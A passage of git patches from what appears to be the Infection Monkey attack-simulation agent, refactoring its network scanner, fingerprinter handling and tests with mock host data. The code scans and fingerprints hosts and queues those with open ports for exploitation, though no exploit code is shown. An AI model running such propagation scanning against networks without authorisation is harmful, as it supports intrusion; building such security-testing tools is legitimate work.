+def test_interrupt_fingerprinting(callback, scan_config, stop): + def stopable_fingerprint(port, *_): + # Block all threads here until 2 threads reach this barrier, then set stop + # and test that neither thread scans any more ports + stopable_fingerprint.barrier.wait() + stop.set() + + return FingerprintData(None, None, {}) + + stopable_fingerprint.barrier = Barrier(2) + + puppet = MockPuppet() + puppet.fingerprint = MagicMock(side_effect=stopable_fingerprint) + + ips = ["10.0.0.1", "10.0.0.2", "10.0.0.3", "10.0.0.4"] + + ns = IPScanner(puppet, num_workers=2) + ns.scan(ips, scan_config, callback, stop) + + assert puppet.fingerprint.call_count == 2 From 8067dc9ff86b5882656cf3a0be7b25228f6d501d Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 13 Dec 2021 13:06:44 -0500 Subject: [PATCH 0149/1110] Agent: Process fingerprinter results in Propagator --- monkey/infection_monkey/master/propagator.py | 39 +++++++++++--- .../master/test_propagator.py | 53 ++++++++++++++++--- 2 files changed, 79 insertions(+), 13 deletions(-) diff --git a/monkey/infection_monkey/master/propagator.py b/monkey/infection_monkey/master/propagator.py index da36ce5b9..0d63bc904 100644 --- a/monkey/infection_monkey/master/propagator.py +++ b/monkey/infection_monkey/master/propagator.py @@ -3,7 +3,7 @@ from queue import Queue from threading import Event, Thread from typing import Dict -from infection_monkey.i_puppet import PingScanData, PortScanData, PortStatus +from infection_monkey.i_puppet import FingerprintData, PingScanData, PortScanData, PortStatus from infection_monkey.model.host import VictimHost from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from infection_monkey.telemetry.scan_telem import ScanTelem @@ -52,15 +52,33 @@ class Propagator: logger.info("Finished network scan") def _process_scan_results( - self, ip: str, ping_scan_data: PingScanData, port_scan_data: Dict[int, PortScanData] + self, + ip: str, + ping_scan_data: PingScanData, + port_scan_data: Dict[int, PortScanData], + fingerprint_data: Dict[str, FingerprintData], ): victim_host = VictimHost(ip) - has_open_port = False + Propagator._process_ping_scan_results(victim_host, ping_scan_data) + has_open_port = Propagator._process_tcp_scan_results(victim_host, port_scan_data) + Propagator._process_fingerprinter_results(victim_host, fingerprint_data) + + if has_open_port: + self._hosts_to_exploit.put(victim_host) + + self._telemetry_messenger.send_telemetry(ScanTelem(victim_host)) + + @staticmethod + def _process_ping_scan_results(victim_host: VictimHost, ping_scan_data: PingScanData): victim_host.icmp = ping_scan_data.response_received if ping_scan_data.os is not None: victim_host.os["type"] = ping_scan_data.os + @staticmethod + def _process_tcp_scan_results(victim_host: VictimHost, port_scan_data: PortScanData) -> bool: + has_open_port = False + for psd in port_scan_data.values(): if psd.status == PortStatus.OPEN: has_open_port = True @@ -71,10 +89,19 @@ class Propagator: if psd.banner is not None: victim_host.services[psd.service]["banner"] = psd.banner - if has_open_port: - self._hosts_to_exploit.put(victim_host) + return has_open_port - self._telemetry_messenger.send_telemetry(ScanTelem(victim_host)) + @staticmethod + def _process_fingerprinter_results(victim_host: VictimHost, fingerprint_data: FingerprintData): + for fd in fingerprint_data.values(): + if fd.os_type is not None: + victim_host.os["type"] = fd.os_type + + if ("version" not in victim_host.os) and (fd.os_version is not None): + victim_host.os["version"] = fd.os_version + + for service, details in fd.services.items(): + victim_host.services.setdefault(service, {}).update(details) def _exploit_targets(self, scan_thread: Thread, stop: Event): pass diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py b/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py index b5c97760b..cec779aa5 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py @@ -1,8 +1,10 @@ from threading import Event -from infection_monkey.i_puppet import PingScanData, PortScanData, PortStatus +from infection_monkey.i_puppet import FingerprintData, PingScanData, PortScanData, PortStatus from infection_monkey.master import Propagator +empty_fingerprint_data = FingerprintData(None, None, {}) + dot_1_results = ( PingScanData(True, "windows"), { @@ -10,6 +12,11 @@ dot_1_results = ( 445: PortScanData(445, PortStatus.OPEN, "SMB BANNER", "tcp-445"), 3389: PortScanData(3389, PortStatus.OPEN, "", "tcp-3389"), }, + { + "SMBFinger": FingerprintData("windows", "vista", {"tcp-445": {"name": "smb_service_name"}}), + "SSHFinger": empty_fingerprint_data, + "HTTPFinger": empty_fingerprint_data, + }, ) dot_3_results = ( @@ -19,6 +26,20 @@ dot_3_results = ( 443: PortScanData(443, PortStatus.OPEN, "HTTPS BANNER", "tcp-443"), 3389: PortScanData(3389, PortStatus.CLOSED, "", None), }, + { + "SSHFinger": FingerprintData( + "linux", "ubuntu", {"tcp-22": {"name": "SSH", "banner": "SSH BANNER"}} + ), + "HTTPFinger": FingerprintData( + None, + None, + { + "tcp-80": {"name": "http", "data": ("SERVER_HEADERS", False)}, + "tcp-443": {"name": "http", "data": ("SERVER_HEADERS_2", True)}, + }, + ), + "SMBFinger": empty_fingerprint_data, + }, ) dead_host_results = ( @@ -28,21 +49,34 @@ dead_host_results = ( 443: PortScanData(443, PortStatus.CLOSED, None, None), 3389: PortScanData(3389, PortStatus.CLOSED, "", None), }, + {}, ) dot_1_services = { - "tcp-445": {"display_name": "unknown(TCP)", "port": 445, "banner": "SMB BANNER"}, + "tcp-445": { + "name": "smb_service_name", + "display_name": "unknown(TCP)", + "port": 445, + "banner": "SMB BANNER", + }, "tcp-3389": {"display_name": "unknown(TCP)", "port": 3389, "banner": ""}, } dot_3_services = { - "tcp-22": {"display_name": "unknown(TCP)", "port": 22, "banner": "SSH BANNER"}, - "tcp-443": {"display_name": "unknown(TCP)", "port": 443, "banner": "HTTPS BANNER"}, + "tcp-22": {"name": "SSH", "display_name": "unknown(TCP)", "port": 22, "banner": "SSH BANNER"}, + "tcp-80": {"name": "http", "data": ("SERVER_HEADERS", False)}, + "tcp-443": { + "name": "http", + "display_name": "unknown(TCP)", + "port": 443, + "banner": "HTTPS BANNER", + "data": ("SERVER_HEADERS_2", True), + }, } class MockIPScanner: - def scan(self, ips_to_scan, options, results_callback, stop): + def scan(self, ips_to_scan, _, results_callback, stop): for ip in ips_to_scan: if ip.endswith(".1"): results_callback(ip, *dot_1_results) @@ -55,7 +89,10 @@ class MockIPScanner: def test_scan_result_processing(telemetry_messenger_spy): p = Propagator(telemetry_messenger_spy, MockIPScanner()) p.propagate( - {"targets": {"subnet_scan_list": ["10.0.0.1", "10.0.0.2", "10.0.0.3"]}, "network_scan": {}}, + { + "targets": {"subnet_scan_list": ["10.0.0.1", "10.0.0.2", "10.0.0.3"]}, + "network_scan": {}, + }, Event(), ) @@ -68,11 +105,13 @@ def test_scan_result_processing(telemetry_messenger_spy): if ip.endswith(".1"): assert data["service_count"] == 2 assert data["machine"]["os"]["type"] == "windows" + assert data["machine"]["os"]["version"] == "vista" assert data["machine"]["services"] == dot_1_services assert data["machine"]["icmp"] is True elif ip.endswith(".3"): - assert data["service_count"] == 2 + assert data["service_count"] == 3 assert data["machine"]["os"]["type"] == "linux" + assert data["machine"]["os"]["version"] == "ubuntu" assert data["machine"]["services"] == dot_3_services assert data["machine"]["icmp"] is True else: From d51af8a5835347d426d4bece36d36f7586888c37 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 13 Dec 2021 13:28:40 -0500 Subject: [PATCH 0150/1110] Agent: Add IPScanResults dataclass --- monkey/infection_monkey/master/__init__.py | 1 + .../master/ip_scan_results.py | 14 ++++++++++ monkey/infection_monkey/master/ip_scanner.py | 22 ++++++---------- monkey/infection_monkey/master/propagator.py | 18 +++++-------- .../master/test_ip_scanner.py | 26 +++++++++++-------- .../master/test_propagator.py | 14 +++++----- 6 files changed, 52 insertions(+), 43 deletions(-) create mode 100644 monkey/infection_monkey/master/ip_scan_results.py diff --git a/monkey/infection_monkey/master/__init__.py b/monkey/infection_monkey/master/__init__.py index 21ef8f9b6..fda536194 100644 --- a/monkey/infection_monkey/master/__init__.py +++ b/monkey/infection_monkey/master/__init__.py @@ -1,3 +1,4 @@ +from .ip_scan_results import IPScanResults from .ip_scanner import IPScanner from .propagator import Propagator from .automated_master import AutomatedMaster diff --git a/monkey/infection_monkey/master/ip_scan_results.py b/monkey/infection_monkey/master/ip_scan_results.py new file mode 100644 index 000000000..98f7b6646 --- /dev/null +++ b/monkey/infection_monkey/master/ip_scan_results.py @@ -0,0 +1,14 @@ +from dataclasses import dataclass +from typing import Dict + +from infection_monkey.i_puppet import FingerprintData, PingScanData, PortScanData + +Port = int +FingerprinterName = str + + +@dataclass +class IPScanResults: + ping_scan_data: PingScanData + port_scan_data: Dict[Port, PortScanData] + fingerprint_data: Dict[FingerprinterName, FingerprintData] diff --git a/monkey/infection_monkey/master/ip_scanner.py b/monkey/infection_monkey/master/ip_scanner.py index 62bf9c7d8..26a321212 100644 --- a/monkey/infection_monkey/master/ip_scanner.py +++ b/monkey/infection_monkey/master/ip_scanner.py @@ -5,24 +5,15 @@ from queue import Queue from threading import Event from typing import Callable, Dict, List -from infection_monkey.i_puppet import ( - FingerprintData, - IPuppet, - PingScanData, - PortScanData, - PortStatus, -) +from infection_monkey.i_puppet import FingerprintData, IPuppet, PortScanData, PortStatus +from . import IPScanResults from .threading_utils import create_daemon_thread logger = logging.getLogger() IP = str -Port = int -FingerprinterName = str -Callback = Callable[ - [IP, PingScanData, Dict[Port, PortScanData], Dict[FingerprinterName, FingerprintData]], None -] +Callback = Callable[[IP, IPScanResults], None] class IPScanner: @@ -67,7 +58,8 @@ class IPScanner: fingerprinters = options["fingerprinters"] fingerprint_data = self._run_fingerprinters(ip, fingerprinters, stop) - results_callback(ip, ping_scan_data, port_scan_data, fingerprint_data) + scan_results = IPScanResults(ping_scan_data, port_scan_data, fingerprint_data) + results_callback(ip, scan_results) logger.debug( f"Detected the stop signal, scanning thread {threading.get_ident()} exiting" @@ -99,7 +91,9 @@ class IPScanner: return False - def _run_fingerprinters(self, ip: str, fingerprinters: List[str], stop: Event): + def _run_fingerprinters( + self, ip: str, fingerprinters: List[str], stop: Event + ) -> Dict[str, FingerprintData]: fingerprint_data = {} for f in fingerprinters: diff --git a/monkey/infection_monkey/master/propagator.py b/monkey/infection_monkey/master/propagator.py index 0d63bc904..1d6e4462e 100644 --- a/monkey/infection_monkey/master/propagator.py +++ b/monkey/infection_monkey/master/propagator.py @@ -8,7 +8,7 @@ from infection_monkey.model.host import VictimHost from infection_monkey.telemetry.messengers.i_telemetry_messenger import ITelemetryMessenger from infection_monkey.telemetry.scan_telem import ScanTelem -from . import IPScanner +from . import IPScanner, IPScanResults from .threading_utils import create_daemon_thread logger = logging.getLogger() @@ -51,18 +51,14 @@ class Propagator: logger.info("Finished network scan") - def _process_scan_results( - self, - ip: str, - ping_scan_data: PingScanData, - port_scan_data: Dict[int, PortScanData], - fingerprint_data: Dict[str, FingerprintData], - ): + def _process_scan_results(self, ip: str, scan_results: IPScanResults): victim_host = VictimHost(ip) - Propagator._process_ping_scan_results(victim_host, ping_scan_data) - has_open_port = Propagator._process_tcp_scan_results(victim_host, port_scan_data) - Propagator._process_fingerprinter_results(victim_host, fingerprint_data) + Propagator._process_ping_scan_results(victim_host, scan_results.ping_scan_data) + has_open_port = Propagator._process_tcp_scan_results( + victim_host, scan_results.port_scan_data + ) + Propagator._process_fingerprinter_results(victim_host, scan_results.fingerprint_data) if has_open_port: self._hosts_to_exploit.put(victim_host) diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_ip_scanner.py b/monkey/tests/unit_tests/infection_monkey/master/test_ip_scanner.py index 12e822fa3..22c850837 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_ip_scanner.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_ip_scanner.py @@ -51,7 +51,11 @@ def assert_port_status(port_scan_data, expected_open_ports: Set[int]): assert psd.status == PortStatus.CLOSED -def assert_scan_results(ip, ping_scan_data, port_scan_data, fingerprint_data): +def assert_scan_results(ip, scan_results): + ping_scan_data = scan_results.ping_scan_data + port_scan_data = scan_results.port_scan_data + fingerprint_data = scan_results.fingerprint_data + if ip == "10.0.0.1": assert_scan_results_no_1(ping_scan_data, port_scan_data, fingerprint_data) elif ip == "10.0.0.3": @@ -149,8 +153,8 @@ def test_scan_single_ip(callback, scan_config, stop): callback.assert_called_once() - (ip, ping_scan_data, port_scan_data, fingerprint_data) = callback.call_args_list[0][0] - assert_scan_results(ip, ping_scan_data, port_scan_data, fingerprint_data) + (ip, scan_results) = callback.call_args_list[0][0] + assert_scan_results(ip, scan_results) def test_scan_multiple_ips(callback, scan_config, stop): @@ -161,17 +165,17 @@ def test_scan_multiple_ips(callback, scan_config, stop): assert callback.call_count == 4 - (ip, ping_scan_data, port_scan_data, fingerprint_data) = callback.call_args_list[0][0] - assert_scan_results(ip, ping_scan_data, port_scan_data, fingerprint_data) + (ip, scan_results) = callback.call_args_list[0][0] + assert_scan_results(ip, scan_results) - (ip, ping_scan_data, port_scan_data, fingerprint_data) = callback.call_args_list[1][0] - assert_scan_results(ip, ping_scan_data, port_scan_data, fingerprint_data) + (ip, scan_results) = callback.call_args_list[1][0] + assert_scan_results(ip, scan_results) - (ip, ping_scan_data, port_scan_data, fingerprint_data) = callback.call_args_list[2][0] - assert_scan_results(ip, ping_scan_data, port_scan_data, fingerprint_data) + (ip, scan_results) = callback.call_args_list[2][0] + assert_scan_results(ip, scan_results) - (ip, ping_scan_data, port_scan_data, fingerprint_data) = callback.call_args_list[3][0] - assert_scan_results(ip, ping_scan_data, port_scan_data, fingerprint_data) + (ip, scan_results) = callback.call_args_list[3][0] + assert_scan_results(ip, scan_results) def test_scan_lots_of_ips(callback, scan_config, stop): diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py b/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py index cec779aa5..d8f65b54e 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_propagator.py @@ -1,11 +1,11 @@ from threading import Event from infection_monkey.i_puppet import FingerprintData, PingScanData, PortScanData, PortStatus -from infection_monkey.master import Propagator +from infection_monkey.master import IPScanResults, Propagator empty_fingerprint_data = FingerprintData(None, None, {}) -dot_1_results = ( +dot_1_results = IPScanResults( PingScanData(True, "windows"), { 22: PortScanData(22, PortStatus.CLOSED, None, None), @@ -19,7 +19,7 @@ dot_1_results = ( }, ) -dot_3_results = ( +dot_3_results = IPScanResults( PingScanData(True, "linux"), { 22: PortScanData(22, PortStatus.OPEN, "SSH BANNER", "tcp-22"), @@ -42,7 +42,7 @@ dot_3_results = ( }, ) -dead_host_results = ( +dead_host_results = IPScanResults( PingScanData(False, None), { 22: PortScanData(22, PortStatus.CLOSED, None, None), @@ -79,11 +79,11 @@ class MockIPScanner: def scan(self, ips_to_scan, _, results_callback, stop): for ip in ips_to_scan: if ip.endswith(".1"): - results_callback(ip, *dot_1_results) + results_callback(ip, dot_1_results) elif ip.endswith(".3"): - results_callback(ip, *dot_3_results) + results_callback(ip, dot_3_results) else: - results_callback(ip, *dead_host_results) + results_callback(ip, dead_host_results) def test_scan_result_processing(telemetry_messenger_spy): From e52471896039e8ef0e1f808435b42d5926bfe68f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 13 Dec 2021 13:58:30 -0500 Subject: [PATCH 0151/1110] Island: Reformat "finger_classes" config options before sending to Agent --- monkey/monkey_island/cc/services/config.py | 12 ++++++++++++ .../data_for_tests/monkey_configs/flat_config.json | 1 - .../monkey_island/cc/services/test_config.py | 8 ++++++++ 3 files changed, 20 insertions(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index 10fbde66d..2e587444c 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -488,6 +488,9 @@ class ConfigService: formatted_network_scan_config["icmp"] = ConfigService._format_icmp_scan_from_flat_config( config ) + formatted_network_scan_config[ + "fingerprinters" + ] = ConfigService._format_fingerprinters_from_flat_config(config) return formatted_network_scan_config @@ -529,6 +532,15 @@ class ConfigService: return formatted_icmp_scan_config + @staticmethod + def _format_fingerprinters_from_flat_config(config: Dict): + flat_fingerprinter_classes_field = "finger_classes" + + formatted_fingerprinters = config[flat_fingerprinter_classes_field] + config.pop(flat_fingerprinter_classes_field) + + return formatted_fingerprinters + @staticmethod def _format_targets_from_flat_config(config: Dict): flat_blocked_ips_field = "blocked_ips" diff --git a/monkey/tests/data_for_tests/monkey_configs/flat_config.json b/monkey/tests/data_for_tests/monkey_configs/flat_config.json index 031dfd35a..0b9f63b84 100644 --- a/monkey/tests/data_for_tests/monkey_configs/flat_config.json +++ b/monkey/tests/data_for_tests/monkey_configs/flat_config.json @@ -66,7 +66,6 @@ "SMBFinger", "SSHFinger", "HTTPFinger", - "MySQLFinger", "MSSQLFinger", "ElasticFinger" ], diff --git a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py index c10c77b42..5cf5090a3 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py +++ b/monkey/tests/unit_tests/monkey_island/cc/services/test_config.py @@ -143,6 +143,13 @@ def test_format_config_for_agent__network_scan(flat_monkey_config): "icmp": { "timeout_ms": 1000, }, + "fingerprinters": [ + "SMBFinger", + "SSHFinger", + "HTTPFinger", + "MSSQLFinger", + "ElasticFinger", + ], } ConfigService.format_flat_config_for_agent(flat_monkey_config) @@ -153,3 +160,4 @@ def test_format_config_for_agent__network_scan(flat_monkey_config): assert "tcp_scan_timeout" not in flat_monkey_config assert "tcp_target_ports" not in flat_monkey_config assert "ping_scan_timeout" not in flat_monkey_config + assert "finger_classes" not in flat_monkey_config From 2dc6e0600da15e24819d03812ead64f23e235c7a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 13 Dec 2021 14:13:10 -0500 Subject: [PATCH 0152/1110] Agent: Pass ping_scan_data and port_scan_data to IPuppet.fingerprint() Fingerprinters can reuse the port scan data to avoid unnecessarily rescanning the hosts' ports. --- monkey/infection_monkey/i_puppet.py | 11 +++++++++- monkey/infection_monkey/master/ip_scanner.py | 21 +++++++++++++++---- monkey/infection_monkey/master/mock_master.py | 6 +++--- monkey/infection_monkey/puppet/mock_puppet.py | 8 ++++++- .../master/test_ip_scanner.py | 2 +- 5 files changed, 38 insertions(+), 10 deletions(-) diff --git a/monkey/infection_monkey/i_puppet.py b/monkey/infection_monkey/i_puppet.py index 518b299b6..285e32bca 100644 --- a/monkey/infection_monkey/i_puppet.py +++ b/monkey/infection_monkey/i_puppet.py @@ -58,11 +58,20 @@ class IPuppet(metaclass=abc.ABCMeta): """ @abc.abstractmethod - def fingerprint(self, name: str, host: str) -> FingerprintData: + def fingerprint( + self, + name: str, + host: str, + ping_scan_data: PingScanData, + port_scan_data: Dict[int, PortScanData], + ) -> FingerprintData: """ Runs a fingerprinter against a remote host :param str name: The name of the fingerprinter to run :param str host: The domain name or IP address of a host + :param PingScanData ping_scan_data: Data retrieved from the target host via ICMP + :param Dict[int, PortScanData] port_scan_data: Data retrieved from the target host via a TCP + port scan :return: The data collected by running the fingerprinter on the specified host :rtype: FingerprintData """ diff --git a/monkey/infection_monkey/master/ip_scanner.py b/monkey/infection_monkey/master/ip_scanner.py index 26a321212..cf77ea54d 100644 --- a/monkey/infection_monkey/master/ip_scanner.py +++ b/monkey/infection_monkey/master/ip_scanner.py @@ -5,7 +5,13 @@ from queue import Queue from threading import Event from typing import Callable, Dict, List -from infection_monkey.i_puppet import FingerprintData, IPuppet, PortScanData, PortStatus +from infection_monkey.i_puppet import ( + FingerprintData, + IPuppet, + PingScanData, + PortScanData, + PortStatus, +) from . import IPScanResults from .threading_utils import create_daemon_thread @@ -56,7 +62,9 @@ class IPScanner: fingerprint_data = {} if IPScanner._found_open_port(port_scan_data): fingerprinters = options["fingerprinters"] - fingerprint_data = self._run_fingerprinters(ip, fingerprinters, stop) + fingerprint_data = self._run_fingerprinters( + ip, fingerprinters, ping_scan_data, port_scan_data, stop + ) scan_results = IPScanResults(ping_scan_data, port_scan_data, fingerprint_data) results_callback(ip, scan_results) @@ -92,7 +100,12 @@ class IPScanner: return False def _run_fingerprinters( - self, ip: str, fingerprinters: List[str], stop: Event + self, + ip: str, + fingerprinters: List[str], + ping_scan_data: PingScanData, + port_scan_data: Dict[int, PortScanData], + stop: Event, ) -> Dict[str, FingerprintData]: fingerprint_data = {} @@ -100,6 +113,6 @@ class IPScanner: if stop.is_set(): break - fingerprint_data[f] = self._puppet.fingerprint(f, ip) + fingerprint_data[f] = self._puppet.fingerprint(f, ip, ping_scan_data, port_scan_data) return fingerprint_data diff --git a/monkey/infection_monkey/master/mock_master.py b/monkey/infection_monkey/master/mock_master.py index 551ff886c..3844ef590 100644 --- a/monkey/infection_monkey/master/mock_master.py +++ b/monkey/infection_monkey/master/mock_master.py @@ -88,13 +88,13 @@ class MockMaster(IMaster): machine_1 = self._hosts["10.0.0.1"] machine_3 = self._hosts["10.0.0.3"] - self._puppet.fingerprint("SMBFinger", machine_1) + self._puppet.fingerprint("SMBFinger", machine_1, None, None) self._telemetry_messenger.send_telemetry(ScanTelem(machine_1)) - self._puppet.fingerprint("SMBFinger", machine_3) + self._puppet.fingerprint("SMBFinger", machine_3, None, None) self._telemetry_messenger.send_telemetry(ScanTelem(machine_3)) - self._puppet.fingerprint("HTTPFinger", machine_3) + self._puppet.fingerprint("HTTPFinger", machine_3, None, None) self._telemetry_messenger.send_telemetry(ScanTelem(machine_3)) logger.info("Finished running fingerprinters on potential victims") diff --git a/monkey/infection_monkey/puppet/mock_puppet.py b/monkey/infection_monkey/puppet/mock_puppet.py index f8c76d843..d5c8fa2f8 100644 --- a/monkey/infection_monkey/puppet/mock_puppet.py +++ b/monkey/infection_monkey/puppet/mock_puppet.py @@ -194,7 +194,13 @@ class MockPuppet(IPuppet): return _get_empty_results(port) - def fingerprint(self, name: str, host: str) -> FingerprintData: + def fingerprint( + self, + name: str, + host: str, + ping_scan_data: PingScanData, + port_scan_data: Dict[int, PortScanData], + ) -> FingerprintData: logger.debug(f"fingerprint({name}, {host})") empty_fingerprint_data = FingerprintData(None, None, {}) diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_ip_scanner.py b/monkey/tests/unit_tests/infection_monkey/master/test_ip_scanner.py index 22c850837..3b071eb9a 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_ip_scanner.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_ip_scanner.py @@ -229,7 +229,7 @@ def test_interrupt_port_scanning(callback, scan_config, stop): def test_interrupt_fingerprinting(callback, scan_config, stop): - def stopable_fingerprint(port, *_): + def stopable_fingerprint(*_): # Block all threads here until 2 threads reach this barrier, then set stop # and test that neither thread scans any more ports stopable_fingerprint.barrier.wait() From 7e3945dd024aaa9819c829708149d416e41fb9b0 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Mon, 13 Dec 2021 14:21:04 -0500 Subject: [PATCH 0153/1110] Agent: Add TODO to Propagator --- monkey/infection_monkey/master/propagator.py | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/monkey/infection_monkey/master/propagator.py b/monkey/infection_monkey/master/propagator.py index 1d6e4462e..0c3acea1d 100644 --- a/monkey/infection_monkey/master/propagator.py +++ b/monkey/infection_monkey/master/propagator.py @@ -90,6 +90,10 @@ class Propagator: @staticmethod def _process_fingerprinter_results(victim_host: VictimHost, fingerprint_data: FingerprintData): for fd in fingerprint_data.values(): + # TODO: This logic preserves the existing behavior prior to introducing IMaster and + # IPuppet, but it is possibly flawed. Different fingerprinters may detect + # different os types or versions, and this logic isn't sufficient to handle those + # conflicts. Reevaluate this logic when we overhaul our scanners/fingerprinters. if fd.os_type is not None: victim_host.os["type"] = fd.os_type From b28f330e8f47e97cd95b9956b3f8615cff0d800f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 14 Dec 2021 07:10:38 -0500 Subject: [PATCH 0154/1110] Agent: Remove duplicate functionality that checked for open port --- monkey/infection_monkey/master/ip_scanner.py | 10 +++------- monkey/infection_monkey/master/propagator.py | 12 ++---------- 2 files changed, 5 insertions(+), 17 deletions(-) diff --git a/monkey/infection_monkey/master/ip_scanner.py b/monkey/infection_monkey/master/ip_scanner.py index cf77ea54d..450ff3006 100644 --- a/monkey/infection_monkey/master/ip_scanner.py +++ b/monkey/infection_monkey/master/ip_scanner.py @@ -60,7 +60,7 @@ class IPScanner: port_scan_data = self._scan_tcp_ports(ip, tcp_ports, tcp_timeout, stop) fingerprint_data = {} - if IPScanner._found_open_port(port_scan_data): + if IPScanner.port_scan_found_open_port(port_scan_data): fingerprinters = options["fingerprinters"] fingerprint_data = self._run_fingerprinters( ip, fingerprinters, ping_scan_data, port_scan_data, stop @@ -92,12 +92,8 @@ class IPScanner: return port_scan_data @staticmethod - def _found_open_port(port_scan_data: Dict[int, PortScanData]): - for psd in port_scan_data.values(): - if psd.status == PortStatus.OPEN: - return True - - return False + def port_scan_found_open_port(port_scan_data: Dict[int, PortScanData]): + return any(psd.status == PortStatus.OPEN for psd in port_scan_data.values()) def _run_fingerprinters( self, diff --git a/monkey/infection_monkey/master/propagator.py b/monkey/infection_monkey/master/propagator.py index 0c3acea1d..916297110 100644 --- a/monkey/infection_monkey/master/propagator.py +++ b/monkey/infection_monkey/master/propagator.py @@ -55,12 +55,10 @@ class Propagator: victim_host = VictimHost(ip) Propagator._process_ping_scan_results(victim_host, scan_results.ping_scan_data) - has_open_port = Propagator._process_tcp_scan_results( - victim_host, scan_results.port_scan_data - ) + Propagator._process_tcp_scan_results(victim_host, scan_results.port_scan_data) Propagator._process_fingerprinter_results(victim_host, scan_results.fingerprint_data) - if has_open_port: + if IPScanner.port_scan_found_open_port(scan_results.port_scan_data): self._hosts_to_exploit.put(victim_host) self._telemetry_messenger.send_telemetry(ScanTelem(victim_host)) @@ -73,20 +71,14 @@ class Propagator: @staticmethod def _process_tcp_scan_results(victim_host: VictimHost, port_scan_data: PortScanData) -> bool: - has_open_port = False - for psd in port_scan_data.values(): if psd.status == PortStatus.OPEN: - has_open_port = True - victim_host.services[psd.service] = {} victim_host.services[psd.service]["display_name"] = "unknown(TCP)" victim_host.services[psd.service]["port"] = psd.port if psd.banner is not None: victim_host.services[psd.service]["banner"] = psd.banner - return has_open_port - @staticmethod def _process_fingerprinter_results(victim_host: VictimHost, fingerprint_data: FingerprintData): for fd in fingerprint_data.values(): From 0b6199e7ebdea43660da436ccb703317a4b341a8 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 14 Dec 2021 06:49:58 -0500 Subject: [PATCH 0155/1110] UT: Fix misspelled stopable -> stoppable --- .../master/test_ip_scanner.py | 22 +++++++++---------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_ip_scanner.py b/monkey/tests/unit_tests/infection_monkey/master/test_ip_scanner.py index 3b071eb9a..67f9c8292 100644 --- a/monkey/tests/unit_tests/infection_monkey/master/test_ip_scanner.py +++ b/monkey/tests/unit_tests/infection_monkey/master/test_ip_scanner.py @@ -196,29 +196,29 @@ def test_stop_after_callback(scan_config, stop): _callback.barrier = Barrier(2) - stopable_callback = MagicMock(side_effect=_callback) + stoppable_callback = MagicMock(side_effect=_callback) ips = ["10.0.0.1", "10.0.0.2", "10.0.0.3", "10.0.0.4"] ns = IPScanner(MockPuppet(), num_workers=2) - ns.scan(ips, scan_config, stopable_callback, stop) + ns.scan(ips, scan_config, stoppable_callback, stop) - assert stopable_callback.call_count == 2 + assert stoppable_callback.call_count == 2 def test_interrupt_port_scanning(callback, scan_config, stop): - def stopable_scan_tcp_port(port, *_): + def stoppable_scan_tcp_port(port, *_): # Block all threads here until 2 threads reach this barrier, then set stop # and test that neither thread scans any more ports - stopable_scan_tcp_port.barrier.wait() + stoppable_scan_tcp_port.barrier.wait() stop.set() return PortScanData(port, False, None, None) - stopable_scan_tcp_port.barrier = Barrier(2) + stoppable_scan_tcp_port.barrier = Barrier(2) puppet = MockPuppet() - puppet.scan_tcp_port = MagicMock(side_effect=stopable_scan_tcp_port) + puppet.scan_tcp_port = MagicMock(side_effect=stoppable_scan_tcp_port) ips = ["10.0.0.1", "10.0.0.2", "10.0.0.3", "10.0.0.4"] @@ -229,18 +229,18 @@ def test_interrupt_port_scanning(callback, scan_config, stop): def test_interrupt_fingerprinting(callback, scan_config, stop): - def stopable_fingerprint(*_): + def stoppable_fingerprint(*_): # Block all threads here until 2 threads reach this barrier, then set stop # and test that neither thread scans any more ports - stopable_fingerprint.barrier.wait() + stoppable_fingerprint.barrier.wait() stop.set() return FingerprintData(None, None, {}) - stopable_fingerprint.barrier = Barrier(2) + stoppable_fingerprint.barrier = Barrier(2) puppet = MockPuppet() - puppet.fingerprint = MagicMock(side_effect=stopable_fingerprint) + puppet.fingerprint = MagicMock(side_effect=stoppable_fingerprint) ips = ["10.0.0.1", "10.0.0.2", "10.0.0.3", "10.0.0.4"] From 7b2756bab0c8e6ff893a434f7b50b0dc0da3411c Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 14 Dec 2021 07:26:27 -0500 Subject: [PATCH 0156/1110] UT: Mark some slow tests as "slow" --- .../unit_tests/infection_monkey/master/test_ip_scanner.py | 1 + .../monkey_island/cc/services/reporting/test_report.py | 1 + .../monkey_island/cc/services/test_authentication_service.py | 4 ++++ .../tests/unit_tests/monkey_island/cc/services/test_config.py | 2 ++ .../monkey_island/cc/services/test_config_manipulator.py | 2 ++ .../zero_trust/scoutsuite/test_scoutsuite_auth_service.py | 1 + 6 files changed, 11 insertions(+) diff --git a/monkey/tests/unit_tests/infection_monkey/master/test_ip_scanner.py 